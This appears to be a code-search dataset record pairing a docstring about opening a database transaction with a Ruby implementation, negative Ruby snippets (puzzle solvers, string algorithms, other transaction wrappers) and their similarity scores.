"def edits1(word) \n deletes = [] \n #all strings obtained by deleting a letter (each letter) \n for i in 0..word.length-1\n\ttemp = word.dup\n\ttemp.slice!(i)\n\tdeletes.push(temp)\n end \n\n transposes = []\n #all strings obtained by switching two consecutive letters\n loop_count = word.length-2\n if loop_count > 0\n for i in 0..loop_count\n\ttemp = word.dup\n \ttemp[i+1] = word[i]\t\n\ttemp[i] = word[i+1]\n\ttransposes.push(temp)\n end\n end \n\n inserts = []\n # all strings obtained by inserting letters (all possible letters in all possible positions)\n for i in 0..word.length\n ALPHABET.each_char do |c|\n temp = word.dup\n temp = temp.insert(i,c)\n inserts.push(temp)\n end\n end\n\n replaces = []\n #all strings obtained by replacing letters (all possible letters in all possible positions)\n for i in 0..word.length-1\n ALPHABET.each_char do |c|\n temp = word.dup\n temp[i] = c\n replaces.push(temp)\n end\n end\n\n return (deletes + transposes + replaces + inserts).to_set.to_a #eliminate duplicates, then convert back to array\n end",
"def valid_sudoku(table)\n # edge cases\n return false if table.nil? || table.size != 9 || table[0].size != 9\n # 3 new storages will count number of occurances of each element for columns, rows and sub-boxes\n rows = Array.new(9)\n i = 0\n while i < rows.size\n rows[i] = {\"1\"=>0,\"2\"=>0,\"3\"=>0,\"4\"=>0,\"5\"=>0,\"6\"=>0,\"7\"=>0,\"8\"=>0,\"9\"=>0}\n i += 1\n end\n\n columns = Array.new(9)\n i = 0\n while i < columns.size\n columns[i] = {\"1\"=>0,\"2\"=>0,\"3\"=>0,\"4\"=>0,\"5\"=>0,\"6\"=>0,\"7\"=>0,\"8\"=>0,\"9\"=>0}\n i += 1\n end\n\n sub_boxes = Array.new(9)\n i = 0\n while i < sub_boxes.size\n sub_boxes[i] = {\"1\"=>0,\"2\"=>0,\"3\"=>0,\"4\"=>0,\"5\"=>0,\"6\"=>0,\"7\"=>0,\"8\"=>0,\"9\"=>0}\n i += 1\n end\n\n # loop through the input table to populate the above created storages with occurance numbers\n i = 0 # i is a row counter\n while i < table.size\n j = 0 # j is a column counter\n while j < table.size\n if table[i][j] != \".\"\n rows[i][table[i][j]] += 1\n columns[j][table[i][j]] += 1\n # find a number of a box/hash by calculating (i/3)*3 + (j/3)\n # e.g. for the element at indexes 1,2 the box will be: (1/3)*3 + (2/3) = 0, first box\n sub_boxes[(i/3)*3 + (j/3)][table[i][j]] += 1\n end\n j += 1\n end\n i += 1\n end\n # check if any of table elements occured more than 1 time within a row, a column or a sub-box\n rows.each do |hash|\n return false if hash.any? { |key, value| value > 1}\n end\n columns.each do |hash|\n return false if hash.any? { |key, value| value > 1}\n end\n sub_boxes.each_with_index do |hash, i|\n return false if hash.any? { |key, value| value > 1}\n end\n\n return true\nend",
"def squarocol?(arr)\n (0..arr.length-1).each do |i|\n row_counter = 1\n col_counter = 1\n\n (0...arr.length-1).each do |j|\n row_counter += 1 if arr[i][j] == arr[i][j + 1]\n col_counter += 1 if arr[j][i] == arr[j + 1][i]\n \n end\n\n if row_counter == arr.length || col_counter == arr.length\n return true\n end\n \n end\n false\nend",
"def levenshtein_distance(s, t)\n m = s.length\n n = t.length\n return m if n == 0\n return n if m == 0\n d = Array.new(m + 1) { Array.new(n + 1) }\n\n (0..m).each { |i| d[i][0] = i }\n (0..n).each { |j| d[0][j] = j }\n (1..n).each do |j|\n (1..m).each do |i|\n d[i][j] = if s[i - 1] == t[j - 1] # adjust index into string\n d[i - 1][j -1] # no operation required\n else\n [d[i - 1][j]+1, # deletion\n d[i][j - 1]+1, # insertion\n d[i - 1][j - 1]+1, # substitution\n ].min\n end\n end\n end\n\n d[m][n]\n end",
"def translate(a)\n\tvoyel = [\"a\",\"e\",\"i\",\"o\",\"u\"]\ncheck = 0\nn = 0\nx = a \n words = a.split(/\\W+/)\n words.each do |a|\n\tok = voyel.include?(a[0])\n\tif ok == true \n\t\ta = a + \"ay\"\n\t\treturn a \n\tend\n while check <= 4\n\tb = a.slice(0..check)\n\n\tcheck = check + 1\n \n\tok = voyel.include?(x[check])\n\ttest1 = \"qu\".include?(x[check])\n\tif test1 == true \n\t\tif check == 1\n\t\t\tb = a.slice(0..check)\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[2..-1]\n\t elsif check == 2\n\t \tb = a.slice(1..check)\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[4..-1]\n\t end\n\tend\n\n\tif ok == true \n\t\tif check == 1\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[1..-1]\n\t elsif check == 2\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[2..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t end\n\tend\nend\nend\nend",
"def check_word(word, rack)\n if rack.include?(\"?\") ? blank_tile = true : blank_tile = false\n end\n # Make a copy of rack to use to change values.\n rack_copy = rack.clone\n # result equals true and only goes false if a letter from rack isn't in the word\n result = true\n word.chars do |letter|\n if rack_copy.include?(letter)\n # Find the first instance of letter by its index and delete it at index.\n # This must be down to avoid .include? returning true on a letter multiple\n # times\n rack_copy.delete_at(rack_copy.index(letter))\n # If the letter isn't in rack but theres a blank tile then go back to start\n # of loop\n elsif blank_tile\n # change to false to avoid using blank tile more than once\n blank_tile = false\n # if the letter doesn't exist than turn result to false and break loop\n else\n result = false\n break\n end\n end\n result\nend",
"def create_matrix\n @long.times do |long|\n @matriz.push([])\n @width.times do |_width|\n @matriz[long].push([' . ', ' * '].sample)\n end\n end\n kill_cells_in_borders\n end",
"def rule1(str = @word)\n newstr = str.chars\n newstr.each_index do |index|\n if newstr[index-1].eql?newstr[index+1]\n newstr[index]=newstr[index-1] unless newstr[index].eql?(\" \") || newstr[index-1].eql?(\" \") || newstr[index+1].eql?(\" \")\n end\n end\n newstr.join('').to_s.squeeze(\" \")\n end",
"def validSolution(board)\n return false if board.flatten.size != 81\n return false if board.flatten.any? { |el| el.class != Fixnum }\n return false if board.size != 9\n board.each do |row|\n return false if row.any? { |el| el < 1 || el > 9 }\n return false if row.uniq.size != 9\n end\n (0..8).each do |col|\n this_col = []\n (0..8).each do |el|\n this_col << board[el][col]\n end\n return false if this_col.uniq.size != 9\n end\n [-1, 2, 5].each do |xoffset|\n [-1, 2, 5].each do |yoffset|\n this_square = []\n (1..3).each do |x|\n (1..3).each do |y|\n this_square << board[x + xoffset][y + yoffset]\n end\n end\n return false if this_square.uniq.size != 9\n end\n end\n true\nend",
"def check_diagonals\n 0.upto(2) do |i|\n 0.upto(3) do |j|\n if (@board[j][i].to_s + @board[j + 1][i + 1].to_s + @board[j + 2][i + 2].to_s + @board[j + 3][i + 3].to_s).match(/RRRR|BBBB/) != nil\n return true\n end\n end\n 3.upto(6) do |j|\n if (@board[j][i].to_s + @board[j - 1][i + 1].to_s + @board[j - 2][i + 2].to_s + @board[j - 3][i + 3].to_s).match(/RRRR|BBBB/) != nil\n return true\n end\n end\n end\n return false\n end",
"def word_break(string, dictionary)\n # some index i in the `table` is false if str[0...i] can't be\n # divided into valid words from the dictionary, otherwise it's true\n # since the state is unknown, default to false\n # `size + 1` to access the last index\n table = Array.new(string.size + 1, false)\n\n # start at 1 to handle the str[0...i] prefix condition\n (1..string.length).each do |i|\n # if this prefix hasn't been seen based on `i` before (maybe saw from `j`)\n # AND this prefix exists in the dictionary, update table entry\n table[i] = true if !table[i] && dictionary.include?(str[0...i])\n\n # only enter this block if words can be made from str[0...i]\n if table[i]\n # when: `i == string.length` (last char) and table[i] is true (from above)\n # -> string *can* be segmented -> return true\n return true if i == string.length\n\n (i + 1..string.length).each do |j|\n table[j] = true if !table[j] && dictionary.include?(str[i...j])\n end\n\n # when: `j == string.length` (last char) && table[j] is true\n # -> string *can* be segmented -> return true\n return true if j == string.length && table[j]\n end\n end\n\n # none of the prefixes are in dictionary so `if table[i]` was never entered\n false\nend",
"def pseudoIsomorphicSubstrings(s)\n\n size = 1 # this show the current size of the set i\n graph = { 0 => {} } # representation of the set sequences\n sizes = []\n\n string_size = s.size\n matrix = []\n\n s_chars = s.chars\n \n s.size.times do |pi| # Si' : Prefix i\n matrix << []\n\n i = 0\n while i <= pi do\n matrix[pi] << s_chars[i..pi].join.ljust(string_size)\n i += 1\n end\n\n matrix[pi] = matrix[pi].join(' | ')\n end\n\n puts matrix\n\n sizes\nend",
"def triangular_word?(str)\n i = 1\n while i <= str_value(str)\n num = (i * (i + 1)) / 2\n return true if num == str_value(str)\n i += 1\n end\n return false\nend"
] |
[
"0.6241779",
"0.6122972",
"0.60796183",
"0.6054155",
"0.6001216",
"0.5909172",
"0.58565855",
"0.5821083",
"0.574051",
"0.5735618",
"0.57177836",
"0.56709856",
"0.5650652",
"0.5644215",
"0.563699",
"0.5599014",
"0.5588299",
"0.5588043",
"0.556366",
"0.55601954",
"0.55505073",
"0.5534373",
"0.5516229",
"0.5497409",
"0.5496517",
"0.54916906",
"0.54864526",
"0.5475764",
"0.54679835",
"0.5461287",
"0.5432386",
"0.5413853",
"0.5388613",
"0.53749084",
"0.53738177",
"0.5342286",
"0.5336337",
"0.5334925",
"0.53265154",
"0.5317942",
"0.5307083",
"0.53062475",
"0.5295299",
"0.5268002",
"0.5266187",
"0.52657706",
"0.5265692",
"0.52628297",
"0.5261282",
"0.5258776",
"0.5255942",
"0.524958",
"0.5238471",
"0.52345437",
"0.52120847",
"0.52017903",
"0.519964",
"0.5196704",
"0.51778066",
"0.51740515",
"0.51678276",
"0.51659566",
"0.5165678",
"0.5161888",
"0.5161888",
"0.5161888",
"0.5160457",
"0.51535916",
"0.51458263",
"0.514373",
"0.5140798",
"0.51385117",
"0.51273865",
"0.5126885",
"0.5119079",
"0.5118219",
"0.51159966",
"0.5113132",
"0.5111054",
"0.5103954",
"0.5089533",
"0.50816894",
"0.5069636",
"0.506954",
"0.5059017",
"0.505745",
"0.5053772",
"0.505131",
"0.5050216",
"0.5048607",
"0.50457",
"0.50393164",
"0.50360954",
"0.5035973",
"0.5030088",
"0.5028796",
"0.5028432",
"0.5025917",
"0.502526",
"0.50240785"
] |
0.6513128
|
0
|
Create a transaction on the db_mod database connection. Calls +BEGIN+ then yields to the given block. Calls +COMMIT+ once the block yields, or +ROLLBACK+ if the block raises an exception. Not thread safe. May not be called from inside another transaction.
|
def transaction
start_transaction!
result = yield
query 'COMMIT'
result
rescue
query 'ROLLBACK'
raise
ensure
end_transaction!
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def transaction(&block)\n db\n persister\n\n result = nil\n start_time = Time.now\n begin\n db.transaction(:rollback => :reraise, :isolation => :repeatable,\n :retry_on => @retry_on_error, :num_retries => 3) do\n result = yield block\n end\n total = Time.now.to_ms - start_time.to_ms\n debug \"Transaction committed (#{total} ms)\"\n result\n rescue StandardError => e\n total = Time.now.to_ms - start_time.to_ms\n warn \"Transaction failed (#{total} ms)\"\n raise e\n ensure\n GC.start\n end\n end",
"def transaction(&block)\n yield\n commit\n end",
"def transaction\n begin\n if block_given?\n begin_db_transaction\n result = yield\n commit_db_transaction\n result\n end\n rescue Exception => database_transaction_rollback\n rollback_db_transaction\n raise\n end\n end",
"def transaction( &block )\n connect do | conn |\n conn.transaction do | conn |\n yield SqlRunner.new(SingleConnectionPool.new( conn ))\n end\n end\n end",
"def transaction(&block)\n self['AutoCommit'] = false\n self.do_transaction(&block)\n self['AutoCommit'] = true\n end",
"def transaction\n raise ArgumentError, 'No block was given' unless block_given?\n\n with_client do |client|\n begin\n client.query('BEGIN')\n yield client\n client.query('COMMIT')\n rescue StandardError => e\n client.query('ROLLBACK')\n raise e\n end\n end\n end",
"def transaction(start_db_transaction=true)\n yield\n end",
"def transaction(&block)\n @in_transaction += 1\n begin\n yield self\n self.commit if @in_transaction > 0\n rescue => e\n self.rollback\n raise e\n ensure\n @in_transaction -= 1 unless @in_transaction == 0\n end\n end",
"def transaction(&block)\n ActiveRecord::Base.transaction(&block)\n end",
"def transaction(&block)\n begin\n @store.transaction\n block.call(@store)\n @store.commit\n rescue SQLite3::Exception => exception\n raise \"SQLite exception: #{exception}\"\n end\n end",
"def transaction\n sanity_check\n raise InterfaceError, \"No block given\" unless block_given?\n\n commit\n begin\n yield self\n commit\n rescue Exception\n rollback\n raise\n end\n end",
"def transaction(&block)\n block.call\n end",
"def begin\n db.transaction do\n yield\n end\n end",
"def transaction(mode = :deferred, &block)\n @db.transaction(mode, &block)\n end",
"def transaction(&block)\n yield\n end",
"def transaction(&block)\n yield\n end",
"def transaction(&block); end",
"def transaction\n raise Mysql::Error, 'Not Connected' if @my.nil?\n\n if block_given?\n begin\n @my.query('START TRANSACTION WITH CONSISTENT SNAPSHOT')\n yield # Start executing the query black.\n @my.query('COMMIT')\n rescue Mysql::Error => e\n @my.query('ROLLBACK')\n raise e\n end\n end\n end",
"def transaction\n use do |connection|\n connection.transaction do |conn|\n begin\n yield conn\n rescue Rollback\n return\n end\n end\n end\n end",
"def transaction\n start_transaction\n\n yield\n ensure\n end_transaction if transaction_started?\n end",
"def transaction\n raise Mysql2::Error, 2002 if @my.nil?\n\n if block_given?\n begin\n @my.query('START TRANSACTION WITH CONSISTENT SNAPSHOT')\n yield # Start executing the query black.\n @my.query('COMMIT')\n rescue Mysql2::Error => e\n @my.query('ROLLBACK')\n raise e\n end\n end\n end",
"def begin_db_transaction\n # PG driver doesn't really do anything on setAutoCommit(false)\n # except for commit-ing a previous pending transaction if any\n log('/* BEGIN */') { @connection.begin }\n end",
"def transaction(start_db_transaction = true)\n transaction_open = false\n begin\n if block_given?\n if start_db_transaction\n begin_db_transaction\n transaction_open = true\n end\n yield\n end\n rescue Exception => database_transaction_rollback\n if transaction_open\n transaction_open = false\n rollback_db_transaction\n end\n raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback\n end\n ensure\n if transaction_open\n begin\n commit_db_transaction\n rescue Exception => database_transaction_rollback\n rollback_db_transaction\n raise\n end\n end\n end",
"def transaction\n @pool.hold do |conn|\n @transactions ||= []\n if @transactions.include? Thread.current\n return yield(conn)\n end\n conn.execute(SQL_BEGIN)\n begin\n @transactions << Thread.current\n result = yield(conn)\n conn.execute(SQL_COMMIT)\n result\n rescue => e\n conn.execute(SQL_ROLLBACK)\n raise e unless Error::Rollback === e\n ensure\n @transactions.delete(Thread.current)\n end\n end\n end",
"def transaction\n @pool.hold do |conn|\n @transactions ||= []\n if @transactions.include? Thread.current\n return yield(conn)\n end\n log_info(SQL_BEGIN)\n conn.execute(SQL_BEGIN)\n begin\n @transactions << Thread.current\n yield(conn)\n rescue Exception => e\n log_info(SQL_ROLLBACK)\n conn.execute(SQL_ROLLBACK)\n raise e unless Error::Rollback === e\n ensure\n unless e\n log_info(SQL_COMMIT)\n conn.execute(SQL_COMMIT)\n end\n @transactions.delete(Thread.current)\n end\n end\n end",
"def transaction\n start\n yield self\n rescue Object => ex\n rollback\n debug \"#{ex.class}: #{ex.message}\"\n ex.backtrace.each { |line| debug line }\n else\n commit\n end",
"def begin_db_transaction\n @transaction = @connection.transaction('READ COMMITTED')\n end",
"def begin_db_transaction\n log('BEGIN', 'TRANSACTION') { @connection.begin }\n end",
"def begin_db_transaction\n execute(\"BEGIN\")\n end",
"def begin_db_transaction\n execute(\"BEGIN\")\n end",
"def with_transaction(&block)\n base_model.transaction(&block)\n end",
"def locked_transaction(&block)\n unless connection.open_transactions.zero?\n raise \"locked_transaction cannot be called from within another transaction!\"\n end\n unsafe_locked_transaction do\n yield if block_given?\n end\n end",
"def transaction(session, access_mode = :write)\n if !block_given?\n tx = self.class.transaction_class.new(session)\n tx.access_mode = access_mode\n tx.begin\n return tx\n end\n\n begin\n tx = transaction(session, access_mode)\n yield tx\n rescue => e\n tx.mark_failed if tx\n raise e\n ensure\n tx.close if tx\n end\n end",
"def transaction\n @database.transaction { yield self }\n end",
"def transaction(&block)\n @@semaphore.synchronize{\n block.call\n }\n end",
"def transaction(&block)\n raise ArgumentError, 'no block given' unless block\n\n `#@native.transaction(#{->(t) { block.call(Transaction.new(self, t)) }})`\n end",
"def begin_db_transaction\n log('begin transaction', nil) do\n begin_isolated_db_transaction(default_transaction_isolation)\n end\n end",
"def transaction(options={}, &block)\n connection.transaction(options.update(:requires_new => true), &block)\n end",
"def start_transaction!\n fail DbMod::Exceptions::AlreadyInTransaction if @in_transaction\n @in_transaction = true\n\n query 'BEGIN'\n end",
"def transaction(opts={}, &blk)\n Toshi.db.transaction(opts, &blk)\n end",
"def transaction(object)\n object.db.transaction {raise ::Sequel::Error::Rollback unless yield}\n end",
"def begin_db_transaction() end",
"def begin_db_transaction() end",
"def with_transaction\n ActiveRecord::Base.transaction { yield }\n end",
"def begin_db_transaction\n @connection.autocommit = false\n end",
"def begin_transaction(conn, opts={})\n log_yield(TRANSACTION_BEGIN){conn.setAutoCommit(false)}\n conn\n end",
"def transaction(graph_name = nil, &block)\n tx = begin_transaction(graph_name)\n begin\n case block.arity\n when 1 then block.call(tx)\n else tx.instance_eval(&block)\n end\n rescue => error\n rollback_transaction(tx)\n raise error\n end\n commit_transaction(tx)\n self\n end",
"def transaction(&block)\n raise InvalidDbError if @stale\n\n return transaction_in_staging(true, &block) if self.staging?\n\n begin\n transaction_in_staging(false, &block)\n ensure\n self.unstage\n end\n end",
"def transaction\n connect do |c|\n t = Txn.new(c, @log)\n yield t\n end\n end",
"def TransactionBegin()\n\t@dbh.do(\"BEGIN\")\nend",
"def checked_transaction(opts=OPTS)\n use_transaction?(opts) ? db.transaction({:server=>this_server}.merge!(opts)){yield} : yield\n end",
"def checked_transaction(opts=OPTS)\n use_transaction?(opts) ? db.transaction({:server=>this_server}.merge!(opts)){yield} : yield\n end",
"def transaction(&block)\n @fb_txns << Rubyfb::Transaction.new(@fb_cxn)\n super &block\n end",
"def ddl_transaction(migration)\n if use_transaction?(migration)\n ActiveRecord::Base.transaction { yield }\n else\n yield\n end\n end",
"def transaction(options = {}, &block)\n @klass.connection.run_queries_on_shard(@shard) do\n @klass = @klass.connection.transaction(options, &block)\n end\n end",
"def scaffold_transaction(&block)\n transaction(&block)\n end",
"def transaction(&block)\n @cache.transaction do\n yield(@cache)\n end\n end",
"def run_in_transaction isolation\n if isolation\n Base.transaction isolation: isolation do\n yield\n end\n else\n yield\n end\n end",
"def run_in_transaction isolation\n if isolation\n Base.transaction isolation: isolation do\n yield\n end\n else\n yield\n end\n end",
"def transaction(options = {}, &block)\n run_on_shard { @klass = klass.transaction(options, &block) }\n end",
"def transaction(opts={:auto_enable => false})\n @transaction_level||=0\n @transaction_level+=1\n session do\n raise_if_transaction_running\n @transaction ||= true\n raise Error.cannot_obtain_transaction_lock if not lock_transaction\n begin\n yield\n # get_transaction in case cfgsave or cfgenable was run in transaction block\n # if there is no transaction we do not need to run it\n # if there is transaction but opend by someone else then t\n cfg_save if @transaction_level==1 && get_transaction\n rescue => e\n abort_transaction\n raise e\n end \n end\n ensure\n @transaction_level-=1\n @transaction = nil if @transaction_level==0\n end",
"def new_or_current_transaction(session, access_mode, tx, &block)\n if tx && tx.access_mode == access_mode\n yield(tx)\n else\n transaction(session, access_mode, &block)\n end\n end",
"def begin_transaction\n return System.begin_transaction\n end",
"def start(&block)\n transaction.start do\n run_callbacks(:transaction, &block)\n end\n end",
"def transaction(opts = {})\n commit, rollback = start_transaction! opts\n tx_depth = nil\n begin\n if Pacer.verbose == :very\n tx_depth = threadlocal_graph_info[:dx_depth]\n puts \"--#{self.class.name} transaction #{ tx_depth } --> \"\n puts caller[0,3]\n end\n r = yield commit, rollback\n commit.call(false)\n r\n rescue Exception => e\n rollback.call e.message\n raise\n ensure\n puts \"--#{self.class.name} #{ tx_depth } <-- \" if Pacer.verbose == :very\n finish_transaction!\n end\n end",
"def begin_transaction(conn, opts=OPTS)\n if in_savepoint?(conn)\n _trans(conn)[:savepoints][-1][:obj] = log_connection_yield('Transaction.savepoint', conn){conn.set_savepoint}\n else\n log_connection_yield('Transaction.begin', conn){conn.setAutoCommit(false)}\n set_transaction_isolation(conn, opts)\n end\n end",
"def commit_db_transaction\n execute(\"COMMIT\")\n end",
"def commit_db_transaction\n execute(\"COMMIT\")\n end",
"def lock(mode, &block)\n sql = LOCK % [@opts[:from], mode]\n @db.synchronize do\n if block # perform locking inside a transaction and yield to block\n @db.transaction {@db.execute(sql); yield}\n else\n @db.execute(sql) # lock without a transaction\n self\n end\n end\n end",
"def transaction(force_sync = false, &block)\n # Ruby 1.9.3 does not support @mutex.owned?\n if @mutex.respond_to?(:owned?)\n force_sync = false if @mutex.locked? && @mutex.owned?\n else\n # If we allowed this in Ruby 1.9.3, it might possibly cause recursive\n # locking within the same thread.\n force_sync = false\n end\n if !force_sync && (@in_transaction || options[:without_mutex])\n block.call self\n else\n @mutex.synchronize do\n @in_transaction = true\n result = block.call\n @in_transaction = false\n result\n end\n end\n end",
"def commit_db_transaction\n @transaction = @connection.commit\n end",
"def begin_transaction(conn, opts=OPTS)\n log_connection_yield('Transaction.begin', conn){conn.autocommit = false}\n set_transaction_isolation(conn, opts)\n end",
"def commit_transaction(conn, opts={})\n log_yield(TRANSACTION_COMMIT){conn.commit}\n end",
"def in_transaction(opts = {})\n yield\n end",
"def begin\n @timestamp = Time.now\n # NOTE: yield self is a bit of a smell to me, but I am okay with this\n # as the block is evaluated in the context of the caller and not of\n # the Transaction object.\n yield self if block_given?\n ensure\n finished\n end",
"def begin_isolated_db_transaction(isolation)\n name = isolation.to_s.upcase; name.sub!('_', ' ')\n log(\"/* BEGIN */; SET TRANSACTION ISOLATION LEVEL #{name}\") do\n @connection.begin(isolation)\n end\n end",
"def test_transactions(table=\"test_monetdb_transactions\", columndefs=['col1 INT', 'col2 VARCHAR(255)'])\n test_create_table(table, columndefs)\n \n data = [1, 'aa'] \n values = \"\"\n \n data.each do |d| values += '\\'' + d.to_s + '\\'' + ',' end\n values = values.chop # remove last ',' character \n \n insert = \"INSERT INTO \" + table + \" VALUES \" + \" ( \" + values + \" )\"\n \n @db.query('START TRANSACTION')\n @db.auto_commit(flag=false) # if @db.auto_commit?\n @db.query(insert)\n\n @db.query(\"COMMIT\") \n \n res = @db.query('SELECT * FROM ' + table)\n rows_committed = res.fetch_all\n res.free\n \n # create a save point\n @db.save\n @db.query(\"SAVEPOINT #{@db.transactions} ;\")\n \n @db.query(insert)\n \n # rollback to savepoint\n @db.query(\"ROLLBACK TO SAVEPOINT #{@db.transactions};\")\n @db.release\n \n res = @db.query('SELECT * FROM ' + table)\n rows_rolled_back = res.fetch_all\n res.free\n \n assert_equal(rows_committed, rows_rolled_back)\n \n # restore autocommit for remaining tests\n @db.auto_commit(flag=true) \n end",
"def commit_db_transaction\n @connection.commit\n @connection.autocommit = true\n end",
"def transaction(&blk)\n tap(&blk)\n end",
"def commit_db_transaction() end",
"def commit_db_transaction() end",
"def begin_isolated_db_transaction(isolation)\n log(\"BEGIN ISOLATED - #{isolation}\", 'TRANSACTION') { @connection.begin(isolation) }\n end",
"def trans\n\t\tbegin\n\t app = Aas::Application\n\t doc = app.DocumentManager.MdiActiveDocument\n\t db = doc.Database\n\t tr = doc.TransactionManager.StartTransaction\n\t yield tr, db\n\t\n\t tr.Commit\n\t tr.Dispose\n\t rescue Exception => e\n\t puts_ex e\n\t ensure\n\t tr.Dispose \n\t end\t\n\tend",
"def with_transaction(read_only: false, &block)\n @env.transaction(read_only, &block)\n end",
"def begin_isolated_db_transaction(isolation)\n @connection.transaction transaction_isolation_levels.fetch(isolation, isolation)\n end",
"def tx_commit(&block)\n @connection.send_frame(Protocol::Tx::Commit.encode(@id))\n\n self.redefine_callback :tx_commit, &block\n self\n end",
"def transaction(force_sync = false)\n force_sync = false if @mutex.locked? && @mutex.owned?\n\n if !force_sync && (@in_transaction || options[:without_mutex])\n yield self\n else\n @mutex.synchronize do\n @in_transaction = true\n result = yield\n @in_transaction = false\n result\n end\n end\n end",
"def transaction_with_timeout\n db.transaction do\n begin\n db.run(\"SET statement_timeout TO #{statement_timeout}\") if statement_timeout\n yield db\n db.run('SET statement_timeout TO DEFAULT')\n end\n end\n end",
"def commit_db_transaction\n log('COMMIT', 'TRANSACTION') { @connection.commit }\n end",
"def begin_transaction(conn, opts={})\n set_transaction_isolation(conn, opts)\n super\n end",
"def begin_transaction(conn)\n log_info(TRANSACTION_BEGIN)\n conn.setAutoCommit(false)\n conn\n end",
"def with_connection\n ActiveRecord::Base.connection_pool.with_connection do |connection|\n connection.transaction do\n if connection.adapter_name == \"PostgreSQL\"\n connection.execute \"SET TRANSACTION READ ONLY\"\n connection.execute \"SET LOCAL statement_timeout = 100\"\n # TODO support equivalent options for other adapters (such as mysql)\n end\n\n yield connection\n end\n end\n end",
"def within_transaction\n if use_transaction\n first.within_transaction do\n yield\n success?\n end\n else\n yield\n end\n end",
"def transaction\n File.open(lock_file_path, File::RDWR | File::CREAT, 0644) do |file|\n # Get lock\n file.sync = true\n file.flock(File::LOCK_EX)\n\n # Execute block\n yield\n\n # Push all changes\n apply\n\n # Release lock\n file.flock(File::LOCK_UN)\n end\n end",
"def commit_transaction(tx)\n tx.execute\n end",
"def lock(mode, &block)\n sql = LOCK % [source_list(@opts[:from]), mode]\n @db.synchronize do\n if block # perform locking inside a transaction and yield to block\n @db.transaction {@db.execute(sql); yield}\n else\n @db.execute(sql) # lock without a transaction\n self\n end\n end\n end",
"def transaction(model_class)\n raise \"you must override #transaction in an adapter subclass, it must yield\"\n end",
"def smart_transaction\n result = nil\n ensure_in_transaction do\n begin\n handle = connection.lo_open(oid)\n result = yield handle\n connection.lo_close(handle)\n end\n end\n result\n end",
"def commit_hook( &block ) # :yields:\n SQLite::API.commit_hook( @handler, block )\n end",
"def execute(&block)\n TempTableContext.with_context(db) {|context| execute_in_context(context, &block)}\n end"
] |
[
"0.79699194",
"0.77830887",
"0.7712146",
"0.75772774",
"0.7555144",
"0.7516007",
"0.74902254",
"0.74796426",
"0.74675095",
"0.74531394",
"0.73616916",
"0.7298876",
"0.7280622",
"0.725132",
"0.7241082",
"0.7241082",
"0.7212155",
"0.7196855",
"0.71037716",
"0.7092057",
"0.70883805",
"0.70818925",
"0.7077088",
"0.70689815",
"0.7051681",
"0.6995788",
"0.69925636",
"0.69351083",
"0.6928433",
"0.6928433",
"0.6922948",
"0.6915374",
"0.6902998",
"0.6896924",
"0.68713033",
"0.6845361",
"0.6797554",
"0.6734478",
"0.67118084",
"0.6700608",
"0.66991174",
"0.6673089",
"0.6673089",
"0.6648864",
"0.6635333",
"0.6617234",
"0.66086525",
"0.66058487",
"0.6561342",
"0.65468526",
"0.6539233",
"0.6539233",
"0.64936966",
"0.6471295",
"0.64325684",
"0.6417646",
"0.6405046",
"0.63925034",
"0.63925034",
"0.6390239",
"0.6303199",
"0.6281239",
"0.6250562",
"0.6226594",
"0.62054276",
"0.62040937",
"0.6202468",
"0.6202468",
"0.6191706",
"0.61857617",
"0.617442",
"0.6171301",
"0.6163876",
"0.6150199",
"0.61478513",
"0.61452216",
"0.6142367",
"0.6142137",
"0.61354345",
"0.6122709",
"0.6122709",
"0.61031634",
"0.60789317",
"0.60617244",
"0.6043446",
"0.6039442",
"0.60323787",
"0.60300803",
"0.60205156",
"0.60074186",
"0.5982129",
"0.5965072",
"0.5962264",
"0.5951725",
"0.5950696",
"0.5944595",
"0.59421587",
"0.59366983",
"0.59099436",
"0.5909863"
] |
0.75632626
|
4
|
Start the database transaction, or fail if one is already open.
|
def start_transaction!
fail DbMod::Exceptions::AlreadyInTransaction if @in_transaction
@in_transaction = true
query 'BEGIN'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def begin_db_transaction\n log('begin transaction', nil) do\n begin_isolated_db_transaction(default_transaction_isolation)\n end\n end",
"def begin_db_transaction\n # PG driver doesn't really do anything on setAutoCommit(false)\n # except for commit-ing a previous pending transaction if any\n log('/* BEGIN */') { @connection.begin }\n end",
"def begin_db_transaction\n execute(\"BEGIN\")\n end",
"def begin_db_transaction\n execute(\"BEGIN\")\n end",
"def begin_db_transaction\n @transaction = @connection.transaction('READ COMMITTED')\n end",
"def begin_db_transaction\n log('BEGIN', 'TRANSACTION') { @connection.begin }\n end",
"def transaction(start_db_transaction=true)\n yield\n end",
"def transaction(start_db_transaction = true)\n transaction_open = false\n begin\n if block_given?\n if start_db_transaction\n begin_db_transaction\n transaction_open = true\n end\n yield\n end\n rescue Exception => database_transaction_rollback\n if transaction_open\n transaction_open = false\n rollback_db_transaction\n end\n raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback\n end\n ensure\n if transaction_open\n begin\n commit_db_transaction\n rescue Exception => database_transaction_rollback\n rollback_db_transaction\n raise\n end\n end\n end",
"def start\n raise TransactionError, \"Transaction already opened.\" unless @id.nil?\n\n ensure_service!\n tx_res = service.begin_transaction \\\n previous_transaction: @previous_transaction\n @id = tx_res.transaction\n end",
"def begin_db_transaction\n @connection.autocommit = false\n end",
"def begin_transaction\n return System.begin_transaction\n end",
"def begin_db_transaction() end",
"def begin_db_transaction() end",
"def transaction\n start\n yield self\n rescue Object => ex\n rollback\n debug \"#{ex.class}: #{ex.message}\"\n ex.backtrace.each { |line| debug line }\n else\n commit\n end",
